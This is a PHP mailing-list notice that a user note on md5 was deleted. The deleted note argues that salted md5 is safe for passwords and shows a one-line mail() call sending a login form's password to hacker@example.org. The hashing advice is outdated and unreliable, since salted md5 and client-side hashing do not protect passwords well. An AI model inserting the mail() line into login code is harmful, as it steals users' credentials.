note 93026 deleted from function.md5 by danbrown
| From: | danbrown@php.net | Date: | Wed, 19 Aug 2009 22:02:06 +0000 |
| Subject: | note 93026 deleted from function.md5 by danbrown | ||
| References: | 1 | Groups: | php.notes |
| Request: | Send a blank email to php-notes+get-159666@lists.php.net to get a copy of this message | ||
Note Submitter: info at marc-gutt dot de
----
@Anonymous
md5 is not weak if you use salts. I'm using something like that:
<?php
$hash = md5($password . $db_salt . $php_salt);
?>
In this case $db_salt is part of the mysql database where the hash is written to and the $php_salt
is part of a include php file.
Someone who wants to hack this hash needs access to the database and the ftp. But if he has such an
access he could easily do the following in the target of a login form:
<?php
mail('hacker@example.org', 'Someone logged in', $_POST['password']);
?>
no encryption helps against hackers with ftp access.
but we could use javascript to send salty hashes instead of readable text. If we do that it would be
very safe.